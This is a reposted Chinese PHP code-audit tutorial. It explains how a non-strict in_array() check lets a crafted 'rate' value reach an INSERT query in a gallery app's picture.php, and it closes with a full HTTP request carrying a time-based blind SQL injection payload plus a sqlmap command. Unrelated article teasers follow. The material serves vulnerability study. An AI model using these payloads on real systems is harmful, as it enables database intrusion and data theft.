PHP审计之in_array函数缺陷绕过

PHP审计之in_array函数缺陷绕过in_array函数函数使用in_array:(PHP4,PHP5,PHP7)功能:检查数组中是否存在某个值定义:boolin_a

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之in_array函数缺陷绕过

in_array函数

函数使用

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

设计缺陷

$haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE

in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php

代码审计

漏洞代码在picture.php中,

if (isset($_GET['action']))
{
  switch ($_GET['action'])
  {
    case 'add_to_favorites' :
          ...
               case 'rate' :
    {
   include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

获取action参数如果为rate的,则包含include/functions_rate.inc.php文件并且调用其中的rate_picture,并且传递页面的id值与post数据接受过来的rate。

rate_picture函数代码

function rate_picture($image_id, $rate)
{
  global $conf, $user;

  if (!isset($rate)
      or !$conf['rate']
      or !in_array($rate, $conf['rate_items']))
  {
    return false;
  }

判断$rate不为或者$conf[‘rate’]值存在,或in_array($rate, $conf['rate_items'])),则$rate值不在$conf['rate_items'])中则返回false。

PHP审计之in_array函数缺陷绕过

$conf['rate_items'] = array(0,1,2,3,4,5);

来到下面代码,下面代码中进行了sql语句的执行,并且了$rate内容进去。而$rate内容在前面的代码判断中是需要为array(0,1,2,3,4,5);数组内的int内容。

  $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

而这时候就需要用到in_array的缺陷绕过。不然的话走到上面的判断in_array($rate, $conf['rate_items'])中地方就直接返回false,不往下走了。

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119838.html原文链接:https://javaforall.net

(0)
上一篇 2021年12月13日 下午4:00
下一篇 2021年12月13日 下午4:00


相关推荐

  • voliate关键字原理

    voliate关键字原理被volatile修饰的变量在编译成字节码文件时会多个lock指令,该指令在执行过程中会生成相应的内存屏障,以此来解决可见性跟重排序的问题。voliate关键字作用静止重排序保证变量赋值操作的顺序与程序代码中的执行顺序一致。线程可见性原理使用场景…

    2022年5月2日
    59
  • linux vi命令 退出不保存,linux vi保存退出命令(如何退出vi)

    linux vi命令 退出不保存,linux vi保存退出命令(如何退出vi)若用户真的希望用文件的当前内容替换newfile中原有内容,可使用命令:q!Vi放弃所作修改而直接退到shell下,则Vi在显示窗口的状态行给出提示信息:Fileexists(use!tooverride)此时,在末行模式下,。在末行模式下,若在用此命令退出Vi时,返回到shell;若当前编辑的文件没被修改过,输入命令:wqVi将先保存文件,输入命令:wVi保存当前编辑…

    2022年9月30日
    6
  • 计算机中为什么会用补码运算符号_负数求补码

    计算机中为什么会用补码运算符号_负数求补码总所周知,计算机内部的所有数都是以二进制的形式存在的。而二进制在计算机里又有多种编码方式——原码、反码、补码等。而在这些编码方式里面用得最多的不是最简单、最直接的原码而是补码。这是为什么呢?想搞懂这个问题首先得明白什么是原码、反码以及补码,如果你对他们还不太了解,那就先看看我另一篇博客——原码、反码、补码其实很简单。如果你对他们已经很熟悉,那么我们继续往下看。A、B、C三种相似的东西,

    2025年12月4日
    6
  • SpringBoot框架介绍

    SpringBoot框架介绍SpringBoot 框架简单介绍前言 我们大家都知道 Spring Boot 是启动的意思 所以 SpringBoot 其实是一个启动 Spring 项目的一个工具 从根本上讲 SpringBoot 就是一些库的集合 它能够被任意项目的构建系统所使用 nbsp 简介 SpringBoot 是由 Pivotal 团队提供的全新框架 其设计目的是用来简化新 Spring 应用的初始搭建以及开发过程 该框架使用了特定的方式来进行配

    2026年3月18日
    2
  • inputstreamwriter_computrace

    inputstreamwriter_computrace关于往文件存入数据所使用的编码和解析时编码产生的问题解码的格式和编码的格式一定要相同否则会出现乱码importjava.io.*;publicclassFuXi3{publicstaticvoidmain(String[]args)throwsIOException{demo01();demo02();}privatestaticvoiddemo02()thro.

    2025年10月30日
    5
  • 《前端运维》一、Linux基础–03Shell基础及补充「建议收藏」

    诶诶欸?不是学Linux么?怎么要讲shell了?shell是啥?啥是shell?别急,我们先简单了解下shell是什么。Shell是一个用C语言编写的程序,它是用户使用Linux的桥梁。

    2022年3月25日
    39

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号